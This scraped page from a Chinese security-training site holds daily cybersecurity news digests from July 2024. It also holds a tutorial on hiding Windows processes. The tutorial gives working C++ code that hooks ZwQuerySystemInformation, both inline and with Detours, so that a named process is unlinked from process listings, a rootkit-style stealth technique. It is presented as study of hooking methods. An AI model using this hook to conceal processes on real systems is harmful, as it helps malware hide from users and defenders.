SmartScreen漏洞(CVE-2024-21412)的垃圾邮件攻击活动正在增加。攻击者通过精心设计的电子邮件诱饵,包括医疗保险、交通通知和税务相关主题,诱导用户下载并执行恶意负载。攻击链涉及多阶段利用,包括forfiles.exe、PowerShell、mshta等合法工具,以及DLL侧加载和IDATLoader技术,最终部署Lumma 8、Roblox公司由于第三方服务商导致数据泄露 https://thecyberexpress.com/third-party-data-breach-exposes-roblox-data/ Roblox公司经历了一起数据泄露事件,该事件源自其年度开发者大会的第三方服务提供商。这次泄露涉及了通过第三方平台注册的现场和在线与会者的数据,包括全名、电子邮件和IP地址。Roblox公司,作为一家拥有超过2.14亿月活跃玩家的视频游戏开发商,主要用户群体为青少年,其数据安全尤为重要。尽管公司未确认是否有其他数据受到影响,但已在努力加强安全措施,以避免未来发生类似事件。与此同时,其他游戏平台如Teenpatti.com、Mobile Premie 9、Splunk修复关键远程代码执行漏洞 https://thecyberexpress.com/updates-released-for-splunk-vulnerability/ Splunk公司发布了一系列安全更新,以解决其Splunk Enterprise和云平台上的16个漏洞,其中包括高严重漏洞CVE-2024-36985,这是一个通过外部查找机制导致的远程代码执行(RCE)漏洞。此漏洞影响9.0.10、9.1.5和9.2.2之前的版本,攻击者可以利用它执行任意命令。Splunk建议用户立即更新至最新版本或暂时禁用受影响的应用程序以降低风险。此外,还包括了对跨站点脚本(XSS)、命令注入、拒绝服务(DoS)和不安全文件上传 10、南非国家医疗实验室遭勒索软件攻击,所有备份被清空 https://www.freebuf.com/news/405387.html 南非国家卫生实验室服务局(NHLS)是由政府运营的医疗检测实验室网络,该机构在从勒索软件攻击中恢复的过程中继续奋战,勒索软件攻击破坏了系统并删除了备份。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月08日
1、APT44等组织对丹麦多个机构发起DDoS攻击 https://thecyberexpress.com/alleged-ddos-attack-on-denmark/ 安全研究人员发现丹麦遭遇了一系列DDoS攻击,据称由APT44和NoName057策划。这些攻击被认为是对丹麦空军司令Jan Dam宣布的再训练50名乌克兰F-16飞行员计划的回应。受影响的组织包括24tech.dk、丹麦税务局、丹麦国家银行、MitID和丹麦政府采购网站udbud.dk。这些攻击不仅影响了丹麦,也可能对整个欧洲和英国产生影响。目前,受影响组织尚未发表声明,攻击的真实性尚未得到证实。 2、研究人员发现针对HTTP文件服务器大规模攻击事件 https://asec.ahnlab.com/ko/67571/ 近日,安全研究人员发现针对HTTP文件服务器(HFS)的大规模攻击事件。HFS的2.3m版本被发现存在远程代码执行漏洞CVE-2024-23692,该漏洞允许攻击者通过发送恶意数据包来执行命令。概念验证(PoC)的发布加速了攻击的扩散,导致多种恶意软件如CoinMiner、RAT等被植入受影响的服务器。攻击者利用这一漏洞安装了XMRig CoinMiner进行加密货币挖掘,同时部署了LemonDuck等后门软件,进一步控制受感染的系统。研究人员警告,HFS用户应立即更新至最新版本,并加强网络安全防护措施,以防止此类攻击。 3、三菱电机发布漏洞列表并呼吁用户更新补丁 https://jvn.jp/vu/JVNVU98894016/ 近日,三菱电机的GENESIS64和MC Works64软件被披露存在多个重大安全漏洞,这些漏洞可能对工业控制系统的完整性和可用性构成威胁。具体漏洞包括资源分配不当、数字签名验证不足以及文件搜索路径控制缺陷,可能导致拒绝服务攻击和未授权程序执行。这些漏洞已被分配了CVE标识符,并通过CVSS评分系统进行了严重性评估。三菱电机建议用户立即应用安全补丁,加强网络安全措施,包括部署防火墙、限制物理访问、警惕未知来源的电子邮件附件和链接。 4、黑客组织声称窃取44万张Taylor Swift演唱会门票 https://hackread.com/ticketmaster-breach-shinyhunters-leak-taylor-swift-eras-tour-tickets/ ShinyHunters黑客组织披露了对Ticketmaster的大规模数据泄露事件,其中包括440000张泰勒·斯威夫特时代巡回演唱会门票的条形码,总计1.93亿条,涉及金额高达220亿美元。泄露的数据不仅包括门票信息,还有销售订单、订单详情、客户查询记录、电子邮件地址、信用卡信息等敏感数据。此次事件被认为是公开披露的最大规模客户个人信息泄露之一,对Ticketmaster的声誉和客户信任造成了严重损害,并使数 5、Shopify数据泄露事件疑与Evolve银行被入侵有关 https://thecyberexpress.com/hacker-shopify-data-breach/ 近日,一名自称为“888”的网络威胁行为体在BreachForums上分享了据称从Shopify平台窃取的数据,暗示此次数据泄露可能与Shopify Balance的合作伙伴Evolve Bank and Trust近期遭受的网络安全事件有关。据称,泄露的数据包括用户的个人详细信息、电子邮件订阅以及订单信息。Shopify是一家提供电子商务平台和集成服务的加拿大跨国企业,此次泄露的数据量高达179,873条记录。Evolve Bank and Trust作为Shopify Bala 6、以太坊邮件泄露引发3万多用户面临网络钓鱼风险 https://blog.ethereum.org/2024/07/02/blog-incident 以太坊社区(ethereum)遭遇了一起严重的网络安全事件。一名黑客成功入侵了以太坊的邮件列表提供商,并向35794个地址发送了包含恶意链接的钓鱼邮件。邮件伪装成来自ethereum.org的官方通知,诱使用户访问一个假冒网站,该网站部署了加密货币消耗器,意图清空用户的数字钱包。以太坊迅速响应,内部安全团队展开调查,并及时阻止了进一步的邮件发送。同时,通过社交媒体向社区发出警告,并与Web3钱包提供商合作,将恶意链接加入黑名单,避免了用户损失。 7、针对拉丁美洲金融系统Mekotio木马使用量激增 https://www.trendmicro.com/en_us/research/24/g/mekotio-banking-trojan.html 网络安全研究人员发现,一种名为Mekotio的银行木马病毒在拉丁美洲的金融系统中使用量激增。自2015年起,该恶意软件便活跃于巴西、智利、墨西哥、西班牙和秘鲁等国,专门窃取银行凭证等敏感信息。Mekotio通过伪装成税务机构的网络钓鱼邮件,诱使受害者下载并执行恶意软件,进而收集系统信息、执行凭证盗窃、信息收集以及维持其在受感染系统中的持久性。研究人员警告,Mekotio可能使受害者无法访问合法银行网站,并建议采取一系列预防措施,包括对未经请求的 8、开源云计算平台OpenStack组件中发现严重安全漏洞 https://cybersecuritynews.com/openstack-arbitrary-file-access-flaw/ 开源云计算平台OpenStack的Nova和Glance组件中发现严重安全漏洞CVE-2024-32498,允许攻击者未经授权访问主机系统上的任意文件。此漏洞可能暴露敏感数据,如用户数据、系统配置和安全凭证,增加数据泄露和系统完整性受损的风险。Red Hat将该漏洞评为严重,并由CVSS分配高严重性分数。Red Hat和OpenStack社区已发布补丁,建议用户立即更新并加强安全配置和监控,以保护云数据安全。 9、GeoServer和GeoTools修复严重XPath注入漏洞 https://thecyberexpress.com/xpath-expression-injection-vulnerabilities/ 开源地理空间数据处理工具GeoServer和GeoTools近期解决了两个严重的XPath表达式注入漏洞,这些漏洞被标识为CVE-2024-36401和CVE-2024-36404,存在远程代码执行的风险。漏洞允许攻击者通过OGC请求参数注入恶意XPath表达式,从而可能损害地理空间数据的安全性。受影响的版本包括GeoServer的2.23.6之前版本、2.24.0至2.25.1版本,以及GeoTools的29.6之前版本、30.0至31.1版本。官 10、Cloudflare将服务器中断归咎于BGP劫持事件 https://www.bleepingcomputer.com/news/security/cloudflare-blames-recent-outage-on-bgp-hijacking-incident/ Cloudflare近期遭遇了一次服务中断,其的1.1.1.1 DNS解析器服务在多个国家无法访问或性能下降。该事件归因于边界网关协议(BGP)劫持和路由泄漏,影响了70个国家的300个网络。Cloudflare迅速响应,通过与相关网络沟通和禁用问题对等会话来减轻影响,并在两小时内解决了劫持问题,路由泄漏也在数小时内得到修复。Cloudflare在其事后报告中提出了一系列长期解决方案 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
浅谈进程隐藏技术
前言 在之前几篇文章已经学习了解了几种钩取的方法 ● 浅谈调试模式钩取 ● 浅谈热补丁 ● 浅谈内联钩取原理与实现 ● 导入地址表钩取技术 这篇文章就利用钩取方式完成进程隐藏的效果。 进程遍历方法 在实现进程隐藏时,首先需要明确遍历进程的方法。 CreateToolhelp32Snapshot CreateToolhelp32Snapshot函数用于创建进程的镜像,当第二个参数为0时则是创建所有进程的镜像,那么就可以达到遍历所有进程的效果。 #include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() {    //设置编码,便于后面能够输出中文    setlocale(LC_ALL, "zh_CN.UTF-8");    //创建进程镜像,参数0代表创建所有进程的镜像    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE)   {        std::cout << "Create Error" << std::endl;        exit(-1);   }    /*    * typedef struct tagPROCESSENTRY32 {    * DWORD dwSize;               进程信息结构体大小,首次调用之前必须初始化    * DWORD cntUsage;              引用进程的次数,引用次数为0时,则进程结束    * DWORD th32ProcessID;           进程的ID    * ULONG_PTR th32DefaultHeapID;      进程默认堆的标识符,除工具使用对我们没用    * DWORD th32ModuleID;                 进程模块的标识符    * DWORD cntThreads;            进程启动的执行线程数    * DWORD th32ParentProcessID;           父进程ID    * LONG pcPriClassBase;          进程线程的基本优先级    * DWORD dwFlags;              保留    * TCHAR szExeFile[MAX_PATH];         进程的路径    * } PROCESSENTRY32;    * typedef PROCESSENTRY32 *PPROCESSENTRY32;    */    PROCESSENTRY32 pi;    pi.dwSize = sizeof(PROCESSENTRY32);    //取出第一个进程    BOOL bRet = Process32First(hSnapshot, &pi);    while (bRet)   {        wprintf(L"进程路径:%s\t进程号:%d\n", pi.szExeFile, pi.th32ProcessID);        //取出下一个进程        bRet = Process32Next(hSnapshot, &pi);   } } EnumProcesses EnumProcesses用于将所有进程号的收集。 #include <iostream> #include <Windows.h> #include <Psapi.h> int main() {    setlocale(LC_ALL, "zh_CN.UTF-8");    DWORD processes[1024], dwResult, size;    unsigned int i; //收集所有进程的进程号    if (!EnumProcesses(processes, sizeof(processes), &dwResult))   {        std::cout << "Enum Error" << std::endl;   }    //进程数量    size = dwResult / sizeof(DWORD);    for (i = 0; i < size; i++)   {        //判断进程号是否为0        if (processes[i] != 0)       {            //用于存储进程路径            TCHAR szProcessName[MAX_PATH] = { 0 };            //使用查询权限打开进程            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |                PROCESS_VM_READ,                FALSE,                processes[i]);            if (hProcess != NULL)           {                HMODULE hMod;                DWORD dwNeeded; //收集该进程的所有模块句柄,第一个句柄则为文件路径                if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),                    &dwNeeded))               {                    //根据句柄获取文件路径                    GetModuleBaseName(hProcess, hMod, szProcessName,                        sizeof(szProcessName) / sizeof(TCHAR));               }                wprintf(L"进程路径:%s\t进程号:%d\n", szProcessName, processes[i]);           }       }     } } ZwQuerySystemInfomation ZwQuerySystemInfomation函数是CreateToolhelp32Snapshot函数与EnumProcesses函数底层调用的函数,也用于遍历进程信息。代码参考https://cloud.tencent.com/developer/article/1454933 #include <iostream> #include <Windows.h> #include <ntstatus.h> #include <winternl.h> #pragma comment(lib, "ntdll.lib") //定义函数指针 typedef NTSTATUS(WINAPI* NTQUERYSYSTEMINFORMATION)( IN      SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT   PVOID                    SystemInformation, IN      ULONG                    SystemInformationLength, OUT PULONG                   ReturnLength ); int main() {    //设置编码 setlocale(LC_ALL, "zh_CN.UTF-8");    //获取模块地址 HINSTANCE ntdll_dll = GetModuleHandle(L"ntdll.dll"); if (ntdll_dll == NULL) { std::cout << "Get Module Error" << std::endl; exit(-1); } NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; //获取函数地址 ZwQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll, "ZwQuerySystemInformation"); if (ZwQuerySystemInformation != NULL) { SYSTEM_BASIC_INFORMATION sbi = { 0 };        //查询系统基本信息 NTSTATUS status = ZwQuerySystemInformation(SystemBasicInformation, (PVOID)&sbi, sizeof(sbi), NULL); if (status == STATUS_SUCCESS) { wprintf(L"处理器个数:%d\r\n", sbi.NumberOfProcessors); } else { wprintf(L"ZwQuerySystemInfomation Error\n"); } DWORD dwNeedSize = 0; BYTE* pBuffer = NULL; wprintf(L"\t----所有进程信息----\t\n"); PSYSTEM_PROCESS_INFORMATION psp = NULL;        //查询进程数量 status = ZwQuerySystemInformation(SystemProcessInformation, NULL, 0, &dwNeedSize); if (status == STATUS_INFO_LENGTH_MISMATCH) { pBuffer = new BYTE[dwNeedSize];            //查询进程信息 status = ZwQuerySystemInformation(SystemProcessInformation, (PVOID)pBuffer, dwNeedSize, NULL); if (status == STATUS_SUCCESS) { psp = (PSYSTEM_PROCESS_INFORMATION)pBuffer; wprintf(L"\tPID\t线程数\t工作集大小\t进程名\n"); do {                    //获取进程号 wprintf(L"\t%d", psp->UniqueProcessId);                    //获取线程数量 wprintf(L"\t%d", psp->NumberOfThreads);                    //获取工作集大小 wprintf(L"\t%d", psp->WorkingSetSize / 1024);                    //获取路径 wprintf(L"\t%s\n", psp->ImageName.Buffer);                    //移动 psp = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)psp + psp->NextEntryOffset); } while (psp->NextEntryOffset != 0); delete[]pBuffer; pBuffer = NULL; } else if (status == STATUS_UNSUCCESSFUL) { wprintf(L"\n STATUS_UNSUCCESSFUL"); } else if (status == STATUS_NOT_IMPLEMENTED) { wprintf(L"\n STATUS_NOT_IMPLEMENTED"); } else if (status == STATUS_INVALID_INFO_CLASS) { wprintf(L"\n STATUS_INVALID_INFO_CLASS"); } else if (status == STATUS_INFO_LENGTH_MISMATCH) { wprintf(L"\n STATUS_INFO_LENGTH_MISMATCH"); } } } } 进程隐藏 通过上述分析可以知道遍历进程的方式有三种,分别是利用CreateToolhelp32Snapshot、EnumProcesses以及ZwQuerySystemInfomation函数 但是CreateToolhelp32Snapshot与EnumProcesses函数底层都是调用了ZwQuerySystemInfomation函数,因此我们只需要钩取该函数即可。 由于测试环境是Win11,因此需要判断在Win11情况下底层是否还是调用了ZwQuerySystemInfomation函数。 可以看到在Win11下还是会调用ZwQuerySystemInfomation函数,在用户态下该函数的名称为NtQuerySystemInformation函数。 这里采用内联钩取的方式对ZwQuerySystemInfomation进行钩取处理,具体怎么钩取在已经介绍过了,这里就不详细说明了。这里对自定义的ZwQuerySystemInfomation函数进行说明。 首先第一步需要进行脱钩处理,因为后续需要用到初始的ZwQuerySystemInfomation函数,紧接着获取待钩取函数的地址即可。 ...    //脱钩    UnHook("ntdll.dll", "ZwQuerySystemInformation", g_pOrgBytes);    HMODULE hModule = GetModuleHandleA("ntdll.dll"); //获取待钩取函数的地址    PROC    pfnOld = GetProcAddress(hModule, "ZwQuerySystemInformation"); //调用原始的ZwQuerySystemInfomation函数    NTSTATUS status = ((NTQUERYSYSTEMINFORMATION)pfnOld)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); ... 为了隐藏指定进程,我们需要遍历进程信息,找到目标进程并且删除该进程信息实现隐藏的效果。这里需要知道的是进程信息都存储在SYSTEM_PROCESS_INFORMATION结构体中,该结构体是通过单链表对进程信息进行链接。因此我们通过匹配进程名称找到对应的SYSTEM_PROCESS_INFORMATION结构体,然后进行删除即可,效果如下图。 通过单链表中删除节点的操作,取出目标进程的结构体。代码如下 ... pCur = (PSYSTEM_PROCESS_INFORMATION)(SystemInformation);        while (true)       {            if (!lstrcmpi(pCur->ImageName.Buffer, L"test.exe"))           {                //需要隐藏的进程是最后一个节点                if (pCur->NextEntryOffset == 0)                    pPrev->NextEntryOffset = 0;                //不是最后一个节点,则将该节点取出                else                    pPrev->NextEntryOffset += pCur->NextEntryOffset;           }            //不是需要隐藏的节点,则继续遍历            else                pPrev = pCur;            //链表遍历完毕            if (pCur->NextEntryOffset == 0)                break;            pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset);       } ... 完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/inlineHook.c 但是采用内联钩取的方法去钩取任务管理器就会出现一个问题,这里将断点取消,利用内联钩取的方式去隐藏进程。 首先利用bl命令查看断点 紧着利用 bc [ID]删除断点 在注入之后任务管理器会在拷贝的时候发生异常 在经过一番调试后发现,由于多线程共同执行导致原本需要可写权限的段被修改为只读权限 在windbg可以用使用!vprot + address查看指定地址的权限,可以看到由于程序往只读权限的地址进行拷贝处理,所以导致了异常。 但是在执行拷贝阶段是先修改了该地址为可写权限,那么导致该原因的情况就是其他线程执行了权限恢复后切换到该线程中进行写,所以导致了这个问题。 因此内联钩取是存在多线程安全的问题,此时可以使用微软自己构建的钩取库Detours,可以在钩取过程中确保线程安全。 Detours 项目地址:https://github.com/microsoft/Detours 环境配置 参考:https://www.cnblogs.com/linxmouse/p/14168712.html 使用vcpkg下载 vcpkg.exe install detours:x86-windows vcpkg.exe install detours:x64-windows vcpkg.exe integrate install 实例 挂钩 利用Detours挂钩非常简单,只需要根据下列顺序,并且将自定义函数的地址与被挂钩的地址即可完成挂钩处理。 ...   //用于确保在 DLL 注入或加载时,恢复被 Detours 修改的进程镜像,保持稳定性 DetourRestoreAfterWith();        //开始一个新的事务来附加或分离        DetourTransactionBegin(); //进行线程上下文的更新        DetourUpdateThread(GetCurrentThread()); //挂钩        DetourAttach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx); //提交事务        error = DetourTransactionCommit(); ... 脱钩 然后根据顺序完成脱钩即可。 ...   //开始一个新的事务来附加或分离 DetourTransactionBegin(); //进行线程上下文的更新        DetourUpdateThread(GetCurrentThread()); //脱钩        DetourDetach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx); //提交事务        error = DetourTransactionCommit(); ... 挂钩的原理 从上述可以看到,Detours是通过事务确保了在DLL加载与卸载时后的原子性,但是如何确保多线程安全呢?后续通过调试去发现。 可以利用x ntdl!ZwQuerySystemInformation查看函数地址,可以看到函数的未被挂钩前的情况如下图。 挂钩之后原始的指令被修改为一个跳转指令把前八个字节覆盖掉,剩余的3字节用垃圾指令填充。 该地址里面又是一个jmp指令,并且完成间接寻址的跳转。 该地址是自定义函数ZwQuerySystemInformationEx,因此该间接跳转是跳转到的自定义函数内部。 跳转到TrueZwQuerySystemInformation内部发现ZwQuerySystemInformation函数内部的八字节指令被移动到该函数内部。紧接着又完成一个跳转。 该跳转到ZwQuerySystemInformation函数内部紧接着完成ZwQuerySystemInformation函数的调用。 综上所述,整体流程如下图。实际上Detours实际上使用的是热补丁的思路,但是Detours并不是直接在原始的函数空间中进行补丁,而是开辟了一段临时空间,将指令存储在里面。因此在挂钩后不需要进行脱钩处理就可以调用原始函数。因此就不存在多线程中挂钩与脱钩的冲突。 完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/detoursHook.c
网络安全日报 2024年07月05日
1、APT 36组织针对游戏与武器爱好者投放间谍软件 https://www.sentinelone.com/labs/capratube-remix-transparent-tribes-android-spyware-targeting-gamers-weapons-enthusiasts/ 安全研究人员揭露了APT 36组织(又名Transparent Tribe或透明部落组织)的新动向,该组织自2016年起活跃,针对印度政府和军事人员。最新发现的CapraRAT APK攻击活动通过伪装成视频浏览应用,将间谍软件瞄准了手机游戏玩家、武器爱好者和TikTok用户。这些APK利用WebView技术启动YouTube或游戏网站,同时更新了底层代 2、Xctdoor恶意软件通过ERP更新服务在韩国传播 https://asec.ahnlab.com/en/67558/ 安全研究人员近期揭露了一起针对韩国国防和制造业的网络攻击事件,攻击者利用Xctdoor恶意软件通过韩国ERP解决方案的更新服务器进行传播。该恶意软件与2017年发现的Andariel组织使用的HotCroissant后门有相似之处。Xctdoor采用DLL格式,使用Go语言开发,具备多种信息窃取功能,包括屏幕截图、键盘记录等,并通过HTTP协议与C&C服务器通信。 3、FakeBat恶意软件通过驱动下载技术进行传播 https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ 网络安全研究人员通过分析,揭露了FakeBat的多个分发活动和其背后的基础设施。此外还发现,FakeBat的运营商在网络犯罪论坛上积极推广其服务,并且为客户提供了一种按安装付费的模式(LaaS)。为了对抗这种威胁,安全研究人员将持续监控FakeBat的C2服务器,并分享了入侵指标和跟踪方法,以帮助网络安全领域更好地防御此类攻击。 4、Orcinius木马利用VBA Stomping技术进行隐蔽攻击 https://blog.sonicwall.com/en-us/2024/06/new-orcinius-trojan-uses-vba-stomping-to-mask-infection/ 近日,安全研究人员详细分析了Orcinius木马的感染机制。该木马通过一个伪装成日历的Excel文件进行传播,该文件含有模糊处理的VBA宏,利用VBA Stomping技术隐藏其真实代码。当受害者打开该Excel文件时,宏被执行,进而修改注册表、枚举当前窗口、设置持久性,并尝试从特定URL下载额外的恶意负载。此外,Orcinius木马还涉及监视键盘输入和激活下载。安全研究人员发布了针对此恶意软件的防 5、澳大利亚四大银行遭遇持续网络攻击威胁 https://thecyberexpress.com/national-australia-bank-warn-cyber-threats/ 澳大利亚国民银行近日发出警告,澳大利亚四大银行正面临持续的网络攻击威胁。这些攻击由各种威胁行为体发起,包括业余黑客、有组织的跨国犯罪集团,甚至包括国家支持的威胁行为体。这些攻击形式多样,包括恶意代码分发、安全漏洞利用和拒绝服务活动等。攻击目的是窃取客户敏感信息和资金。据估计,澳大利亚每年因网络诈骗损失高达30亿美元。澳大利亚银行业协会也承认了当前形势的严重性,并将其称为“诈骗战争”,同时呼吁客户保持警惕,以防止资金落入犯罪分子手中。 6、研究人员披露PelView Plus设备高危漏洞 https://www.microsoft.com/en-us/security/blog/2024/07/02/vulnerabilities-in-panelview-plus-devices-could-lead-to-remote-code-execution/ 近日,微软威胁情报团队披露了罗克韦尔自动化PanelView Plus设备中的两个关键漏洞。这些漏洞允许未经身份验证的远程攻击者执行代码(RCE)和拒绝服务(DoS),这些漏洞可能被远程攻击者利用来执行代码和造成服务中断。在2023年5月和7月微软向罗克韦尔自动化通报了这些漏洞,并在同年9月和10月获得了相应的安全补丁。本次 7、威胁行为者公开出售NPM账户接管漏洞 https://thecyberexpress.com/account-takeover-vulnerability/ 近日,一名名为Alderson1337的威胁行为体在BreachForums上公开出售针对npm账户的接管漏洞。并宣称该漏洞允许攻击者入侵特定组织员工的npm账户,并在软件包中注入难以检测的后门。为保持漏洞的机密性,威胁行为体选择私下交流而非公开披露PoC信息。npm作为JavaScript的关键包管理器,由GitHub的子公司npm, Inc.管理,其账户安全对全球开发者和组织至关重要。目前,npm Inc.尚未对此事发表官方回应,也未证实账户接管漏洞的存在。 8、Twilio旗下Authy应用遭入侵导致数千万用户数据泄露 https://www.twilio.com/en-us/changelog/Security_Alert_Authy_App_Android_iOS Twilio旗下双因素认证应用Authy遭遇数据泄露,数百万用户电话号码被泄露。攻击者利用Authy中的一个未授权端点,获取了与账户相关的敏感数据,包括数百万用户的手机号码。在7月1日发布的安全警报中,Twilio表示没有证据显示攻击者获得了对Twilio系统或其他敏感数据的访问权限。然而,出于安全考虑,建议用户更新至Android 25.1.0或iOS 26.1.0及以上版本的应用程序,并提高对潜在网络钓鱼和短信钓鱼攻击的警惕。 9、多国执法关闭了600台与网络犯罪有关的Cobalt Strike服务器 https://www.nationalcrimeagency.gov.uk/news/national-crime-agency-leads-international-operation-to-degrade-illegal-versions-of-cobalt-strike 全球警方在代号为MORPHEUS的行动中成功关闭了近600台与Cobalt Strike相关的网络犯罪服务器。这次协调的执法行动由英国国家犯罪局(NCA)领导,得到了27个国家的在线服务提供商的协助,以及多国执法部门的参与。Cobalt Strike是一款被广泛用于对手模拟和渗透测试的工具,但其破解版本被恶意行为体 10、巴西数据保护机构禁止Meta使用来自该国的数据训练AI模型 https://securityaffairs.com/165216/social-networks/brazil-data-protection-authority-banned-meta-ai.html 巴西数据保护机构暂时禁止 Meta 使用来自该国的数据来训练其人工智能。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页